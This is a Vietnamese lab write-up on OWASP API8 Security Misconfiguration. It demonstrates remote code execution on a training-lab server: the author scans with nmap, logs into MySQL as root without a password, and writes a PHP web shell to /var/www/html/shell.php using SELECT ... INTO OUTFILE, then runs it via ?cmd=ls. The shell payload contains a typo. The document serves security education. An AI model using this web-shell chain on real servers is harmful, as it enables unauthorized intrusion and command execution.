Professional Documents
Culture Documents
API8 - Security Misconfiguration
API8 - Security Misconfiguration
1. Định nghĩa:
Security misconfiguration (viết tắt là SecMisconfig) là một lỗ
hổng bảo mật phát sinh khi hệ thống, ứng dụng, hoặc môi trường
không được cấu hình đúng cách để đảm bảo tính bảo mật. Điều
này có thể xảy ra khi các cài đặt, tùy chọn, quyền truy cập, hoặc
các yếu tố bảo mật khác không được cấu hình hoặc quản lý một
cách thích hợp. Lỗ hổng này có thể dẫn đến các hậu quả bảo mật
nghiêm trọng, bao gồm việc truy cập trái phép vào dữ liệu, rò rỉ
thông tin quan trọng, hoặc việc tấn công mạng.
- Kịch bản 2: Cấu hình ứng dụng trả các thông báo lỗi chi tiết đến
người dùng gây lộ lọt thông tin nhạy cảm như các path, phiên
bản ứng dụng,…
5. Demo:
Để thực hiện bài demo về SecMisconfig, em sẽ demo thông
qua việc tạo RCE thông qua lỗ hổng misonfiguration trong MySQL.
Em thực hiện bài demo này trên bài lab RCE via MySQL trên trang
web: attackdefense.com/challengedetails?cid=1910
Khi bắt đầu bài lab, web sẽ đưa chúng ta đến với 1 giao diện Kali
Vậy ta có thể biết được địa chỉ IP của các thành phần trong sơ đồ,
bao gồm:
- IP hacker: 192.38.248.2
- IP của switch: 192.38.248.1
- IP của server: 192.38.248.3
Tiếp theo ta cần scan port của server bằng cách sử dụng câu lệnh
nmap:
nmap 192.38.248.3
Có thể thấy port server đang mở port 3306 dành cho service
mysql, đây cũng chính là port default của mysql.
Vì ta dự định đăng nhập vào mysql, bước đầu tiên ta cần check
các scripts có trong nmap, sau đó sử dụng script để scan mysql.
Sử dụng câu lệnh: ls -l /usr/share/nmap/scripts/ | grep mysql
Đây là thông báo rằng tài khoản root của mysql không có
password.
Vì vậy ta có thể đăng nhập vào mysql của server mà không cần
mật khẩu bằng cách sử dụng câu lệnh:
mysql -u root -h 192.38.248.3
Vậy là ta đã thành công đăng nhập được vào tài khoản root của
mysql.
Để tạo RCE trên máy server, ta cần sử dụng cấu trúc câu lệnh
SELECT ... INTO OUTFILE để ghi lên server 1 file php nhằm tạo RCE.
Trong giao diện mysql, chạy câu lệnh:
SELECT ‘<?php $output=shell_exec($_GET[“cmd”]);echo
“<pre>”.&output.”</pre>”>’ INTO OUTFILE
‘/var/www/html/shell.php’ from mysql.user limit 1;
Như vậy là ta đã thành công tạo RCE trên máy server bằng cách
viết 1 file php độc hại shell.php vào thư mục /var/www/html.
Ta vào browser, ở đây em sử dụng Firefox nhập IP của server vào
thành URL
Đây là giao diện web của server, ta cần sửa thanh URL thành:
192.38.248.3/shell.php?cmd=ls
để liệt kê các thư mục có trong /var/www/html